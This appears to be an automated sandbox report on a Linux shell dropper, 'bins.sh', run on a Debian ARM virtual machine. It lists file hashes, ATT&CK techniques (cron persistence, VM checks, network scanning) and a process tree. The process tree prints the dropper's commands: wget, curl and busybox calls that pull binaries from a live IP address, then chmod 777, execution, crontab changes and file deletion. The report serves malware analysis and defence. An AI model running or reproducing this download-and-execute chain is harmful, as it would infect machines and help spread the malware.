597e7cab59f0e2ab31a3b5ef4eb810c2a44432ce958584a469a72f3146ead18a

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
30/11/2024, 07:15

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General

Target

bins.sh
Size

10KB
MD5

035d446476225e126ba207e9014700ff
SHA1

44658f5a8e83ad0e82a74736d80b6c7ab5c8784b
SHA256

597e7cab59f0e2ab31a3b5ef4eb810c2a44432ce958584a469a72f3146ead18a
SHA512

1d9a7fb9911a273178a07c668363c3c4ca845663db2fa4c09d8e6026e4460251cbe7df51f57312f1f302b5ff70a39410b2501d2d7f2ef5702a6f0fa2337d8f53
SSDEEP

96:XYYMabqAH2YCucR5ZSmqC5Zm48sz8oC1rz1EAYYMabqALAMquCucR5sZmqC5ZdEZ:XCk2fo4Zz8oirz1C+4X8oirz7h

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2073) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
685	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu	686	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu

Renames itself 1 IoCs

pid	Process
687	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.K4OTnh	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/735/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/760/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/1034/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/14/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/694/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/858/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/989/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/998/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/1018/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/701/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/706/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/785/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/865/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/939/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/975/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/1045/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/607/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/692/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/884/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/887/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/1005/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/1013/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/730/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/769/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/821/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/261/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/650/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/918/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/951/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/964/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/971/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/1006/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/1047/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/293/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/833/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/878/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/727/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/795/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/1063/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/107/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/728/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/775/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/798/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/961/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/1008/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/41/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/832/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/854/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/1030/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/402/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/705/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/736/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/765/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/801/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/879/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/959/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/987/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/43/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/147/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/1031/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/804/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
File opened for reading	/proc/890/cmdline	lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu	wget
File opened for modification	/tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu	curl
File opened for modification	/tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:652
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:657
- /usr/bin/wget
  wget http://216.126.231.240/bins/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
  2⤵
  - Writes file to tmp directory
  PID:659
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:675
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
  2⤵
  - Writes file to tmp directory
  PID:683
- /bin/chmod
  chmod 777 lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
  ./lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:686
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:688
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:689
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:690
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:691
- /bin/rm
  rm lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
  2⤵
  PID:695
- /usr/bin/wget
  wget http://216.126.231.240/bins/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
  2⤵
  PID:696
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
  2⤵
  PID:697

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.K4OTnh

Filesize
210B

MD5
404d1e47f83213f3ed4f0df5c9510216

SHA1
71166352b2bea4275cf630494d86540df56e7a11

SHA256
28c218bea9e3153e54f0da35ca4870b6e956624e86fca82e64d767c03efc3199

SHA512
3fd6d056abe230bd3eb9866fd0413e8f9a97da5b60c4191ecf0ebeb1914917170bde603b4f70a7aaef3cebec39643b1060aea2af0846b20f2a550cbfb010386e

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads